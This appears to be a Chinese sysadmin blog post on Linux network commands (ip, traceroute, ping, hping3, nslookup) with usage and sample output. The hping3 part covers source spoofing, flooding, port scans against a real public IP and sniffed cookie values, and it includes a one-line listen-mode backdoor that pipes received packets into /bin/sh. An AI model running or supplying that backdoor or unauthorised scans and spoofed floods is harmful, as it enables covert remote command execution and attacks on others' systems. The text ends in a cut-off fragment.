当前位置 博文首页 > 钢闸门:Linux网络命令与脚本使用
作为系统管理员,经常需要诊断和解决网络问题,而配置、监控与保护网络有助于发现问题并在事情范围扩大前得意解决,并且网络的性能与安全也是管理与诊断网络的重要部分。这里总结一下常用与Linux网络管理的命令,大概60个长期更新。
iproute2
包含网络、路由、ARP缓存等的管理与配置的ip
命令,用来取代传统的 ifconfig
与 route
;ip
使用第二个参数,指定在对象执行的操作(例如,add
delete
show
)。
ip 命令是配置网络接口的强大工具,任何 Linux 系统管理员都应该知道。它用于启动或关闭接口、分配和删除地址和路由、管理 ARP 缓存等等。
ip
常用的子命令有:
link
(l
) 网络接口管理address
(a
) IP地址管理route
(r
) 路由表管理neigh
(n
) arp表管理各系统下的包名与安装
- Ubuntu/Debian:
iproute2
;apt install iproute2
- Centos/Fedora:
iproute2
;yum install -y iproute2
- Apline:
iproute2
;apk add iproute2
ip link
用于管理和显示网络接口
查看特定设备信息
ip link show dev [device]
查看所有网络接口的统计信息(如传输或丢弃的数据包,错误等等):
ip -s link
查看单个网络接口的类似信息:
ip -s link ls [interface]
例如
[root@vm207694 ~]# ip -s link ls eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq state UP mode DEFAULT group default qlen 1000
link/ether da:78:c8:7a:fb:26 brd ff:ff:ff:ff:ff:ff
RX: bytes packets errors dropped overrun mcast
38626072259 324723879 0 347316 0 0
TX: bytes packets errors dropped carrier collsns
13404948080 6829250 0 0 0 0
如果需要显示更多的详情,可以再添加一个 -s
ip -s -s link ls [interface]
仅查看启动(运行)的接口列表
ip link ls up
查看 ip link
的帮助
ip link help
启动/关闭网络接口
ip link set [interface] up/down
ip link
可以修改设备传输队列的长度
ip link set txqueuelen [number] dev [interface]
设置 MTU (Maximum Transmission Unit) 来提高网络性能
ip link set mtu [number] dev [interface]
显示所有设备
ip addr
列出网络接口与IP地址
ip addr show
查看单个网络设备的信息
ip addr show dev [interface]
列出 IPv4/IPv6 地址
ip -4 addr
ip -6 addr
在Linux中添加网络地址
ip addr add [ip_address] dev [interface]
添加广播地址
ip addr add brd [ip_address] dev [interface]
删除接口上的网络地址
ip addr del [ip_address] dev [interface]
ip route
ip route list
选择范围;上述命令列出内核内所有路由条目,如果想要缩小范围可以使用选择器 SELECTOR
语法:ip route list SELECTOR
SELECTOR:
root:[ local | main | default | all | NUMBER ]
match:
[ match PREFIX ]
ip route list match 10
exact: [ exact PREFIX ]
TABLE
[ table TABLE_ID ] [ local | main | default | all | NUMBER ]
ip route list table local
broadcast 127.0.0.0 dev lo proto kernel scope link src 127.0.0.1
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1
local 127.0.0.1 dev lo proto kernel scope host src 127.0.0.1
broadcast 127.255.255.255 dev lo proto kernel scope link src 127.0.0.1
broadcast 195.133.10.0 dev eth0 proto kernel scope link src 195.133.11.43
local 195.133.11.43 dev eth0 proto kernel scope host src 195.133.11.43
broadcast 195.133.11.255 dev eth0 proto kernel scope link src 195.133.11.43
PROTO
[ proto RTPROTO ] [ kernel | boot | static | NUMBER ]
ip route list proto static
TYPE
[ type TYPE ] { unicast | local | broadcast | multicast | throw |unreachable | prohibit | blackhole | nat }
ip route list type multicast
SCOPE
[ scope SCOPE ] [ host | link | global | NUMBER ]
ip route list scope link
169.254.0.0/16 dev eth0 metric 1002
172.16.0.0/20 dev eth0 proto kernel src 172.16.0.2
在指定设备上添加路由条目
ip route add [ip_address] dev [interface]
通过网关添加新路由
ip route add [ip_address] via [gatewayIP]
通过本地网关为所有地址添加默认路由
ip route add default [ip_address] dev [device]
ip route add default [network/mask] via [gatewayIP]
删除已经存在的路由表
ip route del [ip_address]
ip route del default
ip route del [ip_address] dev [interface]
显示系统中设备的MAC地址及其状态。设备存在的状态:
状态 | 说明 |
---|---|
REACHABLE | 在超时过期之前有效且可访问的条目 |
PERMANENT | 管理员才能删除的永久条目 |
STALE | 有效但无法访问的条目;为了检查它的状态,内核在第一次传输时检查 |
例如
ip neigh show
192.168.10.1 dev eth0 lladdr 00:1f:ce:72:bd:8c REACHABLE
46.17.40.155 dev eth0 lladdr c4:71:fe:f1:9f:3f STALE
2a00:b700:3::1 dev eth0 lladdr 00:1f:ce:72:bd:8c router STALE
fe80::f0c5:a5ff:fee8:2aa4 dev eth0 lladdr f2:c5:a5:e8:2a:a4 router STALE
fe80::a48a:1eff:fe35:c2f7 dev eth0 lladdr a6:8a:1e:35:c2:f7 router STALE
fe80::4c4d:b3ff:fe44:fd58 dev eth0 lladdr 4e:4d:b3:44:fd:58 router STALE
fe80::4c33:dfff:fe92:9f2f dev eth0 lladdr 4e:33:df:92:9f:2f router STALE
fe80::21f:ceff:fe72:bd8c dev eth0 lladdr 00:1f:ce:72:bd:8c router STALE
ip neigh add [ip_address] dev [interface]
ip neigh del [ip_address] dev [interface]
traceroute
可以追踪数据传输是如何从本地传输到远程的。一个典型的例子是网页的访问。在互联网上加载一个网页需要数据流经一个网络和许多路由器。traceroute
可以显示所采用的路由以及网络上路由器的IP和主机名。它可以应用于排查网络延迟或诊断网络问题。
各系统下的包名与安装
- Ubuntu/Debian:
traceroute
;apt install traceroute -y
- Centos/Fedora:
traceroute
;yum install -y traceroute
- Apline:
busybox
;apk add busybox
traceroute baidu.com
traceroute to baidu.com (220.181.38.148), 30 hops max, 60 byte packets
1 * 9.31.61.129 (9.31.61.129) 1.795 ms *
2 9.31.123.98 (9.31.123.98) 0.907 ms 1.179 ms 1.416 ms
3 10.196.18.109 (10.196.18.109) 0.866 ms 10.196.18.125 (10.196.18.125) 1.085 ms *
4 10.162.33.5 (10.162.33.5) 1.297 ms 10.200.16.169 (10.200.16.169) 0.774 ms 10.196.92.109 (10.196.92.109) 1.218 ms
5 10.162.32.145 (10.162.32.145) 1.539 ms 1.431 ms 10.162.32.149 (10.162.32.149) 1.310 ms
6 * * *
7 58.63.249.45 (58.63.249.45) 7.320 ms * 121.14.50.25 (121.14.50.25) 7.859 ms
8 * * 113.96.4.121 (113.96.4.121) 4.887 ms
9 202.97.22.149 (202.97.22.149) 32.481 ms 202.97.22.153 (202.97.22.153) 32.676 ms
10 36.110.245.206 (36.110.245.206) 36.928 ms 36.110.247.54 (36.110.247.54) 37.593 ms 36.110.245.82 (36.110.245.82) 41.254 ms
11 36.110.245.161 (36.110.245.161) 33.749 ms * 37.905 ms
12 * * *
13 * * 220.181.182.170 (220.181.182.170) 42.998 ms
14 * * *
15 * * *
16 * * *
17 * * *
18 * * *
19 * * *
20 * * *
21 * * *
22 * * *
23 * * *
24 * * *
25 * * *
26 * * *
27 * * *
28 * * *
29 * * *
30 * * *
第一行显示要访问的主机名和ip、traceroute将尝试到主机的最大跃点数以及要发送的字节数据包的大小。
每行列出到达目的地的一个跳跃点。给出主机名与主机名的ip,然后是数据包到达主机并返回发起计算机所需的时间。默认情况下,traceroute
为每个主机发送三个数据包,因此列出了三个响应时间。
星号 *
表示丢失的数据包。这意味着网络中断、大量流量导致网络拥塞或防火墙丢弃流量。
traceroute -6 ipv6.google.com
使用-n选项在traceroute中禁用IP地址映射。
traceroute -n qq.com
traceroute to qq.com (183.3.226.35), 30 hops max, 60 byte packets
1 9.31.61.129 0.908 ms 1.159 ms 1.537 ms
2 9.31.122.210 1.061 ms 0.837 ms 1.421 ms
使用 -w
选项在traceroute
中配置响应等待时间,支持指定等待对探测的响应的时间(秒为单位)。
traceroute -w 1 -n qq.com
使用-i选项设置traceroute应使用的网络接口,如果未设置,则根据路由表选择接口。
traceroute -w 1 -n -i eth0 qq.com
Ping是一种简单、广泛使用的跨平台网络工具,用于测试主机是否可以在Internet协议(IP)网络上访问。它的工作原理是向目标主机发送网络控制消息协议Internet Control Message Protocol (ICMP) ECHO_REQUEST,目标节点等待并回复 ECHO_RESPONSE。
可以使用ping
测试两节点间的网络通信,可以做到:
各系统下的安装
- Ubuntu/Debian:
iputils-ping
;apt install iputils-ping
- Centos/Fedora:
iputils
;yum install -y iputils
- Apline:
iputils
;apk add iputils
使用参数
参数 | 说明 |
---|---|
-c | 指定发送ECHO_REQUEST的请求数 |
-i | 设置包与包之间的间隔 ping -i 3 -c 5 www.google.com |
-f | flood ping,检测高负载下的响应,需要有root权限 |
-b | 允许ping一个广播地址 |
-t | 限制ping遍历的网络跳跃数(TTL Time-to-live),收到数据包的每个路由器从计数中至少减去 1,如果大于 0,路由器会将数据包转发到下一跳,否则它会丢弃它并将 ICMP 响应返回。 |
-s | 设置ping时的数据包大小(单位 bytes),这将导致提供的总数据包大小加上ICMP头的8个额外字节。 |
-l | 发送预加载数据包(先发不等待回复的数据包),大于3需要root权限 |
-W | 设置等待相应时间,单位秒 |
-w | 设置超时时间,超时退出,单位秒 |
-d | debug模式 |
-v | 显示详细输出 |
-A | 更快的在两节点间包往返的时间,非特权用户最小为200ms |
hping一个具有可嵌入tcl脚本功能的 TCP/IP
包伪造工具。,主要用于创建或生成网络数据包以测试网络、服务或系统性能。 hping 是由不同实体开发的旧工具,并以 hping2
或 hping3
等新版本命名。 在大多数情况下,您可以使用操作系统提供的命令,可以是 hping 或 hping2 或 hping3。 hping 名称源自 ping 命令名称。hping3
是另一种用于扫描网络的工具。它在kali linux中默认是DOS攻击软件之一。
hping支持TCP、UDP、ICMP、raw-IP等协议用于不同的用例。通过使用hping,可以创建具有不同选项的不同协议包。hping主要可以用作。
hping的常用场景
各系统下的安装
- Ubuntu/Debian:
hping3
;apt install hping3
- Centos/Fedora:
hping3
;yum install epel-release && yum install -y hping3
- Apline:
hping3
;apk add hping3 --update-cache --repository http://dl-cdn.alpinelinux.org/alpine/edge/testing
基础参数
参数选项 | 参数说明 |
---|---|
-c --count [count] |
发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑 |
-i --interval |
每个包发送间隔时间(单位是毫秒) 缺省时间是1秒,此功能在增加传输率上很重要。-i 1 为1s -i u1 为1us (微秒) 即每秒发送1000000包 |
--fast |
为 -i u10000 的别名,即1秒发送10个包 |
--faster |
为 -i u1 的别名,但实际上发送的包取决于计算机的速度 |
--flood |
尽可能快速的发送包,不关注收到的恢复,要比 -i u0 快 |
-I --interface [interface name] |
指定默认的路由接口,在linux中,hping3使用默认路由接口。 可以使用 -I 接网络接口的完整名称,如 eth0 |
-q -quiet |
安静输出。除了启动时和完成时的摘要信息外,不输出任何内容。 |
-n -nmeric |
数字化输出主机地址 |
协议选项
默认情况下,hping使用的为tcp协议
选项 | 说明 |
---|---|
-0 --rawip |
原始IP模式,此模式下,hping3将发送IP头。 |
-1 --icmp |
ICMP模式,默认情况下hping3将发送ICMP回显请求。 |
-2 --udp |
UDP模式,默认情况下,hping3将向目标主机的0端口发送UDP |
-8 --scan |
端口扫描,在该模式下,需要提供一组端口,如 1,2,3 端口组以 , 分隔端口范围: start-end 如 1000-2000 特殊字符: all 表示所有端口;know :包含 /etc/services 中的所有端口组合写法: hping --scan 1-1000,8888,known -S www.baidu.com |
-9 --listen signature |
监听模式,此模式下 hping3 等待包含签名的数据包并从签名端转储到数据包的结尾处。 |
IP相关选项
参数 | 说明 |
---|---|
-a --spoof hostname |
此选项可以伪造源IP地址,可确保目标不会获得真实IP地址,必然性的响应将被发送到伪造的地址处。 |
--rand-source |
此选项开启随机源模式。hping将发送带有随机源地址的数据包。 |
--rand-dest |
此选项开启随机目标模式。hping将数据包发送到随机目标地址 如,当使用随机目标地址时,可以使用 x 作为范围,所有出现的 x 都将呗替换为0-255之间的随机数。如10.0.0.x 。可以使用--debug 选项查看生成的随机地址。注意:使用此选项,hping无法检测数据包的正确传出接口,应使用 -I 选项指定网络接口。 |
-t --ttl |
此选项可以设置传出数据包的TTL(生存时间) |
-N id |
设置IP字段的随机值 |
-H --ipproto |
在RAW IP模式中设置IP协议 |
-r --rel |
ip id等增量 |
-m –mtu |
设置虚拟最大传输单元 |
icmp选项
参数 | 说明 |
---|---|
-C --icmptype type |
设置icmp类型,默认为icmp echo reques。 |
--icmp-ipver |
设设置包含在ICMP数据中的IP头的IP版本,默认值为4。 |
--icmp-ipproto |
设置包含在ICMP数据中的IP头的IP协议,默认为TCP。 |
TCP/UDP选项
参数 | 说明 |
---|---|
-s --baseport [src port] |
随机源端口 |
-p --destport [dest port] |
设置目标端口+ 目标端口将随着收到的每个回复而增加++ 目标端口每发送数据包都会增加 |
--keep | 保持源端口不边 |
-w --win | 设置tcp窗口大小,默认64 |
-F --fin | 设置 tcp fin标记 |
-S --syn | 设置 tcp SYN标记 |
-R --rst | 设置 tcp rst标记 |
-P --push | 设置 tcp PUSH标记 |
-A --ack | 设置 tcp ACK标记 |
-U --urg | 设置 tcp URG标记 |
-X --xmas | 设置 tcp Xmas标记 |
-Y --ymas | 设置 tcp Ymas标记 |
常用参数
参数 | 说明 |
---|---|
-d --data |
设置数据包主体大小。 使用 --data 40 hping将在 protocol_header 增加40 字节。 |
-E --file [filename] |
使用文件名内容填充数据包的数据 |
-j --dump |
以16进制导出数据包 |
-J --print |
导出可打印的数据包 |
-u --end |
如果使用 ``--file filename` 选项,何时为EOF。 |
-T --traceroute |
traceroute 模式。此选项将在接收ttl来尝试追踪。 |
--tr-keep-ttl |
保持ttl的固定,用于监视某一跳 |
–tr-stop |
traceroute 下收到第一个不是ICMP时退出 |
.... |
输出格式
hping的一个标准的TCP/UDP格式如下,UDP字段含义与TCP的相同。
# tcp
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
# udp
len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms
ICMP的输出格式
ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net
在此格式中,ip 为 ICMP 错误的 IP 地址,name为解析的名称或者为UNKNOWN,而其他的参数含义与TCP/UDP大致相同。
hping可以自由地创建原始IP、TCP、UDP和ICMP数据包。可以利用此功能生成 TCP SYN
扫描。TCP-SYN
扫描是最简单的将数据包发送到主机/IP端口的方法。这里 扫描的为110.242.68.4:80
启动经典的扫描的最简单方法是将TCP-SYN数据包发送到主机/ip上的端口。下面的命令将扫描IP 192.168.8.223上的端口80。从输出中,可以看到 flags=SA
SYN和ACK标记,代表一个开放端口。
hping3 -S 110.242.68.4 -p 80 -c 2
扫描一个范围的端口可以使用 ++
hping3 -S 110.242.68.4 -p ++80
也可以使用如下方式
hping3 -8 80-86 -S 110.242.68.4
Scanning 110.242.68.4 (110.242.68.4), port 80-86
7 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
80 http : .S..A... 128 60936 64240 46
All replies received. Done.
Not responding ports: (81 ) (82 xfer) (83 mit-ml-dev) (84 ctf) (85 ) (86 mfcobol)
hping3支持一个很实用功能,可以追踪路由到一个指出的端口,查看你的数据包被阻塞的地方。
hping3 --traceroute -p 80 -V -1 www.google.com
using eth0, addr: 195.133.11.43, MTU: 1500
HPING www.google.com (eth0 142.250.150.104): icmp mode set, 28 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=195.133.10.1 name=gateway
hop=1 hoprtt=3.1 ms
hop=2 TTL 0 during transit from ip=10.11.12.37 name=UNKNOWN
hop=2 hoprtt=10.0 ms
hop=3 TTL 0 during transit from ip=62.140.243.62 name=msk-m9-b1-ae30-vlan449.fiord.net
hop=3 hoprtt=1.9 ms
hop=4 TTL 0 during transit from ip=62.140.239.113 name=msk-m9-b6-ae1-vlan12.fiord.net
hop=4 hoprtt=9.8 ms
hop=5 TTL 0 during transit from ip=72.14.222.198 name=UNKNOWN
hop=5 hoprtt=4.2 ms
hop=6 TTL 0 during transit from ip=108.170.250.33 name=UNKNOWN
hop=6 hoprtt=3.8 ms
hop=7 TTL 0 during transit from ip=108.170.250.51 name=UNKNOWN
hop=7 hoprtt=2.5 ms
hop=8 TTL 0 during transit from ip=142.251.49.158 name=UNKNOWN
hop=8 hoprtt=34.7 ms
hop=9 TTL 0 during transit from ip=108.170.235.204 name=UNKNOWN
hop=9 hoprtt=18.2 ms
hop=10 TTL 0 during transit from ip=142.250.209.35 name=UNKNOWN
hop=10 hoprtt=17.1 ms
....
hping3 -c 5 -V -1 -C 17 110.242.68.4
using eth0, addr: 10.0.0.4, MTU: 1500
HPING 110.242.68.4 (eth0 110.242.68.4): icmp mode set, 28 headers + 0 data bytes
--- 110.242.68.4 hping statistic ---
5 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
通过hping3进行TCP FIN扫描
在TCP连接中,FIN标志用于开始请求关闭连接。万一没有得到答复,那说明端口是开放的。通常防火墙会再次发送Rst+ack数据包,以指示该端口已关闭。
有些情况下,主机可能禁止PING ICMP,此时使用ACK扫描可以用于检查主机是否处于活动状态。如果主机活跃,会相应RST标记,在hping中是为 flags=R
。
hping3 -c 2 -V -p 80 -A 110.242.68.4
using eth0, addr: 10.0.0.4, MTU: 1500
HPING 110.242.68.4 (eth0 110.242.68.4): A set, 40 headers + 0 data bytes
len=46 ip=110.242.68.4 ttl=128 id=2391 tos=0 iplen=40
sport=80 flags=R seq=0 win=32767 rtt=0.6 ms
seq=1165126080 ack=0 sum=c0ba urp=0
使用参数 -2
可以让hping工作于UDP模式,可以进行UDP扫描
hping3 -2 8.8.4.4 -V -p 53 -c 10
使用-Q或-seqnum可以让hping
收集了ISN。
hping3 127.0.0.1 -Q -p 22 -V -S
using lo, addr: 127.0.0.1, MTU: 65536
HPING 127.0.0.1 (lo 127.0.0.1): S set, 40 headers + 0 data bytes
893247485 +893247485
2568100167 +1674852682
2600543427 +32443260
可以使用hping的监听模式,来抓取通过网络接口的所有流量,以及捕获对应的内容。例如抓取通过谷歌搜索的流量包
hping3 -9 "www.google.com" --beep -I eth0
hping2 listen mode
[main] memlockall(): Success
Warning: can't disable memory paging!
Accept: */*
.hk/url?sa=p&hl=zh-CN&pref=hkredirect&pval=yes&q=http://www.google.com.hk/&ust=1624605433464983&usg=AOvVaw2THxd5w15lxgX3_KA19GWL
Cache-Control: private
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Date: Fri, 25 Jun 2021 07:16:43 GMT
Server: gws
Content-Length: 370
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Set-Cookie: 1P_JAR=2021-06-25-07; expires=Sun, 25-Jul-2021 07:16:43 GMT; path=/; domain=.google.com; Secure
Set-Cookie: NID=217=PdQLBtU-tTavgvb4BW9ouB3nAr1OKNK6I_kn9u2Qa2eTgLA_qLyGv2G_2t2G_PRNVrKu2SOEm-e7ED17ljnx3uFBweBjQWOyRvHrJ6jhC5_J3yaBK0r8mikUrqHNjDez5F3rCleFQDurBEfnqECDFXNkvvO_-Wn4ahGJeid01TM; expires=Sat, 25-Dec-2021 07:16:43 GMT; path=/; domain=.google.com; HttpOnly
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.google.com.hk/url?sa=p&hl=zh-CN&pref=hkredirect&pval=yes&q=http://www.google.com.hk/&ust=1624605433464983&usg=AOvVaw2THxd5w15lxgX3_KA19GWL">here</A>.
</BODY></HTML>
.hk/&ust=1624605433464983&usg=AOvVaw2THxd5w15lxgX3_KA19GWL HTTP/1.1
User-Agent: curl/7.29.0
Host: www.google.com.hk
Accept: */*
.hk/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Date: Fri, 25 Jun 2021 07:16:43 GMT
Server: gws
Content-Length: 222
X-XSS-Protection: 0
Set-Cookie: 1P_JAR=2021-06-25-07; e
可以通过hping3的监听模式,创建一个简单的后门(backdoor),通过管道来执行脚本
hping3 -I eth1 -9 secret | /bin/sh
hping3 -R 192.168.1.100 -e secret -E commands_file -d 100 -c 1
nslookup(name server lookup)用于在Linux中执行DNS查找的工具。用于显示DNS详细信息,例如计算机的IP地址、域的MX记录或域的NS服务器。
nslookup 可以在两种模式下运行:交互式和非交互式。交互模式可以查询名称服务器以获取有关各种主机和域的信息或打印域中的主机列表。非交互模式仅打印主机或域的名称和请求的信息。
dig(Domain Information Groper) 执行DNS查找。默认情况下,dig查询通过 resolver ( /etc/resolv.conf
) 中列出的DNS地址,除非指定特定的name server。
各系统下的安装
- Ubuntu/Debian:
knot-dnsutils
;apt install knot-dnsutils
- Centos/Fedora:
bind-utils
|dnsutils
;yum install -y bind-utils
- Apline:
bind-tools
;apk add bind-tools
nslookup后跟域名将显示域名的“A记录”(IP地址),nslookup命令的默认输出比dig命令的默认输出相对整洁些。
nslookup redhat.com
执行反向DNS查找:
nslookup 208.117.229.88
MX( Mail Exchange )记录将域名映射到该域的邮件服务器列表。MX记录表明发到 @qq.com
的所有邮件都应该路由到该域中的邮件服务器。
nslookup -query=mx qq.com
Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
qq.com mail exchanger = 20 mx2.qq.com.
qq.com mail exchanger = 30 mx1.qq.com.
qq.com mail exchanger = 10 mx3.qq.com.
Authoritative answers can be found from:
Authoritative Answer与Non-Authoritative Answer
可以注意到注意到上面输出中的关键字 Authoritative
和 Non-Authoritative Answer
。任何来自DNS服务器的答复都称为Authoritative Answer
,该服务器具有域可用的完整区域文件信息。在许多情况下,DNS服务器将不具备给定域的完整区域文件信息。相反,它维护一个缓存文件,该文件包含过去执行的所有查询的结果,并已获得权威响应。当给出一个DNS查询时,它搜索缓存文件,并以 Non-Authoritative Answer
的形式返回可用的信息。
NS ( Name Server ) 记录将域名映射到该域的授权DNS服务器列表。它将输出与给定域关联的名称服务。
nslookup -type=ns qq.com
Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
qq.com nameserver = ns1.qq.com.
qq.com nameserver = ns2.qq.com.
qq.com nameserver = ns3.qq.com.
qq.com nameserver = ns4.qq.com.
Authoritative answers can be found from:
SOA ( start of authority )记录\,提供关于域的权威信息、域管理员的电子邮件地址、域序列号等。
nslookup -type=soa qq.com
Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
qq.com
origin = ns1.qq.com
mail addr = webmaster.qq.com
serial = 1330914143
refresh = 3600
retry = 300
expire = 86400
minimum = 300
Authoritative answers can be found from:
YYYYMMYNN
格式 2012-07-16.01
如果在同一天进行了多个编辑,则将递增)